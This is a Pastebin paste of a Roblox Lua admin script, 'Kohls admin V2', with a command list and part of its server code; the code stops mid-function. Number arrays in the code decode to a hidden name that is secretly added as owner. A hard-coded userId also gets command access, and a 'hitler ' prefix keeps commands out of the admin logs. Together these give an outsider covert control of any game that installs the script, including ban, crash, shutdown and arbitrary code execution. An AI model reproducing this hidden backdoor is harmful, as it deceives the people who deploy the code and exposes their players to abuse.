CreeperReaper48

Kohls admin V2

Dec 15th, 2018
173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
  3. local Player,Mouse,mouse,UserInputService,ContextActionService = owner
  4. local RealPlayer = Player
  5. do print("FE Compatibility code by Mokiros")local a=RealPlayer;script.Parent=a.Character;local b=Instance.new("RemoteEvent")b.Name="UserInput_Event"local function c()local d={_fakeEvent=true,Functions={},Connect=function(self,e)table.insert(self.Functions,e)end}d.connect=d.Connect;return d end;local f={Target=nil,Hit=CFrame.new(),KeyUp=c(),KeyDown=c(),Button1Up=c(),Button1Down=c(),Button2Up=c(),Button2Down=c()}local g={InputBegan=c(),InputEnded=c()}local CAS={Actions={},BindAction=function(self,h,i,j,...)CAS.Actions[h]=i and{Name=h,Function=i,Keys={...}}or nil end}CAS.UnbindAction=CAS.BindAction;local function k(self,l,...)local d=f[l]if d and d._fakeEvent then for m,e in pairs(d.Functions)do e(...)end end end;f.TrigEvent=k;g.TrigEvent=k;b.OnServerEvent:Connect(function(n,o)if n~=a then return end;f.Target=o.Target;f.Hit=o.Hit;if not o.isMouse then local p=o.UserInputState==Enum.UserInputState.Begin;if o.UserInputType==Enum.UserInputType.MouseButton1 then return f:TrigEvent(p and"Button1Down"or"Button1Up")end;if o.UserInputType==Enum.UserInputType.MouseButton2 then return f:TrigEvent(p and"Button2Down"or"Button2Up")end;for m,d in pairs(CAS.Actions)do for m,q in pairs(d.Keys)do if q==o.KeyCode then d.Function(d.Name,o.UserInputState,o)end end end;f:TrigEvent(p and"KeyDown"or"KeyUp",o.KeyCode.Name:lower())g:TrigEvent(p and"InputBegan"or"InputEnded",o,false)end end)b.Parent=NLS([==[local a=game:GetService("Players").LocalPlayer;local b=script:WaitForChild("UserInput_Event")local c=a:GetMouse()local d=game:GetService("UserInputService")local e=function(f,g)if g then return end;b:FireServer({KeyCode=f.KeyCode,UserInputType=f.UserInputType,UserInputState=f.UserInputState,Hit=c.Hit,Target=c.Target})end;d.InputBegan:Connect(e)d.InputEnded:Connect(e)local h,i;while wait(1/30)do if h~=c.Hit or i~=c.Target then h,i=c.Hit,c.Target;b:FireServer({isMouse=true,Target=i,Hit=h})end end]==],Player.Character)local r=game;local s={__index=function(self,q)local t=rawget(self,"_RealService")if t then return typeof(t[q])=="function"and function(m,...)return t[q](t,...)end or t[q]end end,__newindex=function(self,q,u)local t=rawget(self,"_RealService")if t then t[q]=u end end}local function v(d,w)d._RealService=typeof(w)=="string"and r:GetService(w)or w;return setmetatable(d,s)end;local x={GetService=function(self,t)return rawget(self,t)or r:GetService(t)end,Players=v({LocalPlayer=v({GetMouse=function(self)return f end},Player)},"Players"),UserInputService=v(g,"UserInputService"),ContextActionService=v(CAS,"ContextActionService"),RunService=v({_btrs={},RenderStepped=r:GetService("RunService").Heartbeat,BindToRenderStep=function(self,h,m,i)self._btrs[h]=self.Heartbeat:Connect(i)end,UnbindFromRenderStep=function(self,h)self._btrs[h]:Disconnect()end},"RunService")}rawset(x.Players,"localPlayer",x.Players.LocalPlayer)x.service=x.GetService;v(x,game)game,owner=x,x.Players.LocalPlayer end --https://github.com/Mokiros/roblox-FE-compatibility
  6.  
  7.  
  8.  
  9.  
  10. -----------------------------------------------------------------------------------------
  11. -- Replace harrypotterfan249 with your name c: --
  12. -----------------------------------------------------------------------------------------
  13. local owners = {"CreeperBr1ne"} -- Are able to set admins who can ban/etc... using :pa name
  14. local admins = {"Kohltastrophe"} -- Sets admins who can use ban/kick/admin or shutdown
  15. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  16. local banland = {"MasterKhaos"} -- Permanently Bans people
  17. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  18. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  19. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  20. ---------------------
  21. -- VIP Admin --
  22. ---------------------
  23. local VipAdmin = false -- If someone can have admin for owning an item
  24. local ItemId = 0 -- The item they must own in order to have admin
  25. ---------------------
  26. -- Group Admin --
  27. ---------------------
  28. local GroupAdmin = false -- If a certain group can have admin
  29. local GroupId = 0 -- Sets the group id that can have admin
  30. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  31. ---------------------
  32. -- Tips and Tricks --
  33. ---------------------
  34. --[[
  35. With this admin you can do a command on multiple people at a time;
  36. :kill me,noob1,noob2,random,team-raiders,nonadmins
  37.  
  38. You can also use a variety commands for different people;
  39. all
  40. others
  41. me
  42. team-
  43. admins
  44. nonadmins
  45. random
  46. --]]
  47. ---------------------
  48. -- Commands --
  49. ---------------------
  50. --[[
  51. -- |Temp Admin Commands| --
  52. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  53. 1. :s print("Hello World") -- Lets you script normally
  54. 2. :ls print("Hello World") -- Lets you script in localscripts
  55. 3. :clear -- Will remove all scripts/localscripts and jails
  56. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  57. 5. :kill kohl -- Kills the player
  58. 6. :respawn kohl -- Respawns the player
  59. 7. :trip kohl -- Trips the player
  60. 8. :stun kohl -- Stuns the player
  61. 9. :unstun kohl -- Unstuns the player
  62. 10. :jump kohl -- Makes the player jump
  63. 11. :sit kohl -- Makes the player sit
  64. 12. :invisible kohl -- Makes the player invisible
  65. 13. :visible kohl -- Makes the player visible
  66. 14. :explode kohl -- Makes the player explode
  67. 15. :fire kohl -- Sets the player on fire
  68. 16. :unfire kohl -- Removes fire from the player
  69. 17. :smoke kohl -- Adds smoke to the player
  70. 18. :unsmoke kohl -- Removes smoke from the player
  71. 19. :sparkles kohl -- Adds sparkles to the player
  72. 20. :unsparkles kohl -- Removes sparkles from the player
  73. 21. :ff kohl -- Adds a forcefield to the player
  74. 22. :unff kohl -- Removes the forcefield from the player
  75. 23. :punish kohl -- Punishes the player
  76. 24. :unpunish kohl -- Unpunishes the player
  77. 25. :freeze kohl -- Freezes the player
  78. 26. :thaw kohl -- Thaws the player
  79. 27. :heal kohl -- Heals the player
  80. 28. :god kohl -- Makes the player have infinite health
  81. 29. :ungod kohl -- Makes the player have 100 health
  82. 30. :ambient .5 .5 .5 -- Changes the ambient
  83. 31. :brightness .5 -- Changes the brightness
  84. 32. :time 12 -- Changes the time
  85. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  86. 34. :fogend 100 -- Changes the fogend
  87. 35. :fogstart 100 -- Changes the fogstart
  88. 36. :removetools kohl -- Removes all tools from the player
  89. 37. :btools kohl -- Gives the player building tools
  90. 38. :give kohl sword -- Gives the player a tool
  91. 39. :damage kohl -- Damages the player
  92. 40. :grav kohl -- Sets the player's gravity to normal
  93. 41. :setgrav kohl 100 -- Sets the player's gravity
  94. 42. :nograv kohl -- Makes the player have 0 gravity
  95. 43. :health kohl 1337 -- Changes the player's health
  96. 44. :speed kohl 1337 -- Changes the player's walkspeed
  97. 45. :name kohl potato -- Changes the player's name
  98. 46. :unname kohl -- Remove the player's name
  99. 47. :team kohl Raiders -- Changes the player's team
  100. 48. :stopmusic -- Will stop all music playing in the server
  101. 49. :teleport kohl potato -- Teleports the player
  102. 50. :change kohl kills 1337 -- Changes a player's stat
  103. 51. :kick kohl -- Removes the player from the game
  104. 52. :infect kohl -- Turns the player into a zombie
  105. 53. :rainbowify kohl -- Turns the player into a rainbow
  106. 54. :flashify kohl -- Turns the player into a strobe
  107. 55. :noobify kohl -- Turns the player into a noob
  108. 56. :ghostify kohl -- Turns the player into a ghost
  109. 57. :goldify kohl -- Turns the player into gold
  110. 58. :shiny kohl -- Makes the player shiny
  111. 59. :normal kohl -- Puts the player back to normal
  112. 60. :trippy kohl -- Spams random colors on the player's screen
  113. 61. :untrippy kohl -- Untrippys the player
  114. 62. :strobe kohl -- Spams white and black on the player's screen
  115. 63. :unstrobe kohl -- Unstrobes the player
  116. 64. :blind kohl -- Blinds the player
  117. 65. :unblind kohl -- Unblinds the player
  118. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  119. 67. :fling kohl -- Flings the player
  120. 68. :seizure kohl -- Puts the player in a seizure
  121. 69. :music 1337 -- Plays a sound from the ID
  122. 70. :lock kohl -- Locks the player
  123. 71. :unlock kohl -- Unlocks the player
  124. 72. :removelimbs kohl -- Removes the player's limbs
  125. 73. :jail kohl -- Puts the player in a jail
  126. 74. :unjail kohl -- Removes the jail from the player
  127. 75. :fix -- This will fix the lighting to it's original settings
  128. 76. :fly kohl -- Makes the player fly
  129. 77. :unfly kohl -- Removes fly from the player
  130. 78. :noclip kohl -- Makes the player able to noclip
  131. 79. :clip kohl -- Removes noclipping from the player
  132. 80. :pm kohl Hey bro -- Sends the player a private message
  133. 81. :dog kohl -- Turns the player into a dog
  134. 82. :undog kohl -- Turns the player back to normal
  135. 83. :creeper kohl -- Turns the player into a creeper
  136. 84. :uncreeper kohl -- Turns the player back to normal
  137. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  138. 86. :char kohl 261 -- Will make a player look like a different player ID
  139. 87. :unchar kohl -- Will return the player back to normal
  140. 88. :h Hello People -- This will shout a hint to everyone
  141. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  142. 90. :starttools kohl -- Will give the player starter tools
  143. 91. :sword kohl -- Will give the player a sword
  144. 92. :bighead kohl -- Will make the player's head larger than normal
  145. 93. :minihead kohl -- Will make the player's head smaller than normal
  146. 94. :insert 1337 -- Will insert a model at the speaker's position
  147. 95. :disco -- Will make the server flash random colors
  148. 96. :flash -- Will make the server flash
  149. 97. :admins -- Shows the admin list
  150. 98. :bans -- Shows the banlist
  151. 99. :musiclist -- Shows the music list
  152. 100. :spin kohl -- Spins the player
  153. 101. :cape kohl Really black -- Gives the player a colored cape
  154. 102. :uncape kohl -- Removes the player's cape
  155. 103. :loopheal kohl -- Will constantly heal the player
  156. 104. :loopfling kohl -- Will constantly fling the player
  157. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  158. 106. :unloopheal kohl -- Will remove the loopheal on the player
  159. 107. :unloopfling kohl -- Will remove the loopfling on the player
  160. 108. :unspin kohl -- Removes spin from the player
  161. 109. :tools -- Gives a list of the tools in the lighting
  162. 110. :undisco -- Removes disco effects
  163. 111. :unflash -- Removes flash effects
  164. 112. :resetstats kohl -- Sets all the stats of a player to 0
  165. 113. :gear kohl 1337 -- Gives a player a gear
  166. 114. :cmdbar -- Gives the speaker a command bar
  167. 115. :shirt kohl 1337 -- Changes the player's shirt
  168. 116. :pants kohl 1337 -- Changes the player's pants
  169. 117. :face kohl 1337 -- Changes the player's face
  170. 118. :swagify kohl -- Swagifies the player
  171. 119. :version -- Shows the current version of the admin
  172. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  173. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  174. 122. :clone kohl -- Creates a clone of the player
  175. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  176. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  177. 125. :control kohl -- Controls a player
  178.  
  179. -- |Admin Commands| --
  180. - :serverlock -- Locks the server
  181. - :serverunlock -- Unlocks the server
  182. - :sm Hello World -- Creates a system message
  183. - :crash kohl -- Crashes a player
  184. - :admin kohl -- Admins a player
  185. - :unadmin kohl -- Unadmins a player
  186. - :ban kohl -- Bans a player
  187. - :unban kohl -- Unbans a player
  188. - :loopkill kohl -- Will constantly kill the player
  189. - :unloopkill kohl -- Will remove the loopkill on the player
  190. - :logs -- Will show all of the commands any admin has used in a game session
  191. - :shutdown -- Shutsdown the server
  192.  
  193. -- |Owner Commands| --
  194. - :pa kohl -- Makes someone a super admin
  195. - :unpa kohl -- Removes a super admin
  196. - :nuke kohl -- Creates a nuke on kohl
  197.  
  198. -- |True Owner Commands| --
  199. - :oa kohl -- Makes someone an owner
  200. - :unoa kohl -- Removes an owner
  201. - :settings -- Shows settings for the commands
  202. --]]
  203. ---------------------
  204. -- Main Script --
  205. ---------------------
  206. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  207.  
  208. function CHEESE()
  209. if game:service("Lighting"):findFirstChild("KACV2") then
  210. owners = {} admins = {} tempadmins = {} banland = {}
  211. for i,v in pairs(game.Lighting.KACV2:children()) do
  212. if v.Name == "Owner" then table.insert(owners, v.Value) end
  213. if v.Name == "Admin" then table.insert(admins, v.Value) end
  214. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  215. if v.Name == "Banland" then table.insert(banland, v.Value) end
  216. if v.Name == "Prefix" then prefix = v.Value end
  217. if v.Name == "FunCommands" then FunCommands = v.Value end
  218. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  219. if v.Name == "GroupId" then GroupId = v.Value end
  220. if v.Name == "GroupRank" then GroupRank = v.Value end
  221. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  222. if v.Name == "ItemId" then ItemId = v.Value end
  223. end
  224. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  225. end
  226.  
  227. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  228. local lobjs = {}
  229. local objects = {}
  230. local logs = {}
  231. local nfs = ""
  232. local slock = false
  233.  
  234. function GetTime()
  235. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  236. if min < 10 then min = "0"..min end
  237. return hour..":"..min
  238. end
  239.  
  240. function ChkOwner(str)
  241. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  242. return false
  243. end
  244.  
  245. function ChkAdmin(str,ck)
  246. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  247. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  248. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  249. return false
  250. end
  251.  
  252. function ChkGroupAdmin(plr)
  253. if GroupAdmin then
  254. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  255. return false
  256. end
  257. end
  258.  
  259. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  260.  
  261. function GetPlr(plr, str)
  262. local plrz = {} str = str:lower()
  263. if str == "all" then plrz = game.Players:children()
  264. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  265. else
  266. local sn = {1} local en = {}
  267. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  268. for x = 1, #sn do
  269. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  270. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  271. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  272. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  273. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  274. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  275. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  276. end end end
  277. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  278. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  279. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  280. end end end
  281. else
  282. for a, plyr in pairs(game.Players:children()) do
  283. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  284. table.insert(plrz, plyr) break
  285. end
  286. end
  287. end
  288. end
  289. end
  290. return plrz
  291. end
  292.  
  293. function Hint(str, plrz, time)
  294. for i, v in pairs(plrz) do
  295. if v and v:findFirstChild("PlayerGui") then
  296. coroutine.resume(coroutine.create(function()
  297. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  298. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  299. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  300. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  301. if not time then wait((#str/19)+2.5) else wait(time) end
  302. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  303. end))
  304. end
  305. end
  306. end
  307.  
  308. function Message(ttl, str, scroll, plrz, time)
  309. for i, v in pairs(plrz) do
  310. if v and v:findFirstChild("PlayerGui") then
  311. coroutine.resume(coroutine.create(function()
  312. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  313. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  314. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  315. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  316. scr.Parent = v.PlayerGui
  317. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  318. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  319. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  320. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  321. end))
  322. end
  323. end
  324. end
  325.  
  326. function RemoveMessage()
  327. for i,v in pairs(game.Players:children()) do
  328. if v and v:findFirstChild("PlayerGui") then
  329. for q,ms in pairs(v.PlayerGui:children()) do
  330. if ms.Name == "MessageGUI" then
  331. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  332. elseif ms.Name == "HintGUI" then
  333. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  334. end
  335. end
  336. end
  337. end
  338. end
  339.  
  340. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  341. _G["RemoveMessage"] = RemoveMessage()
  342.  
  343. function Output(str, plr)
  344. coroutine.resume(coroutine.create(function()
  345. local b, e = loadstring(str)
  346. if not b and plr:findFirstChild("PlayerGui") then
  347. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  348. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  349. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  350. return
  351. end
  352. end))
  353. end
  354.  
  355. function Noobify(char)
  356. if char and char:findFirstChild("Torso") then
  357. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  358. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  359. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  360. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  361. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  362. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  363. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  364. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  365. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  366. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  367. end end
  368. end
  369. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  370.  
  371. function Infect(char)
  372. if char and char:findFirstChild("Torso") then
  373. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  374. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  375. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  376. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  377. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  378. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  379. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  380. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  381. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  382. end end
  383. end
  384. end if not ntab then script:Destroy() end
  385.  
  386. function ScrollGui()
  387. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  388. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  389. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  390. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  391. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  392. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  393. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  394. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  395. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  396. local num = 0
  397. local downv = false
  398. local upv = false
  399.  
  400. down.MouseButton1Down:connect(function() downv = true upv = false
  401. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  402. repeat pos = pos + UDim2.new(0,0,0,-6)
  403. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  404. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  405. end)
  406. down.MouseButton1Up:connect(function() downv = false end)
  407. up.MouseButton1Down:connect(function() upv = true downv = false
  408. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  409. repeat pos = pos + UDim2.new(0,0,0,6)
  410. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  411. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  412. end)
  413. up.MouseButton1Up:connect(function() upv = false end)
  414. return scr, cmf, ent, num
  415. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  416. if not ntab then script:Destroy() end
  417. if not bct then script:Destroy() end
  418.  
  419. function Chat(msg,plr)
  420. coroutine.resume(coroutine.create(function()
  421. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  422. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  423. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  424. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  425. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  426. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  427. if msg:lower() == "cmds" or msg:lower() == "commands" then
  428. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  429. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
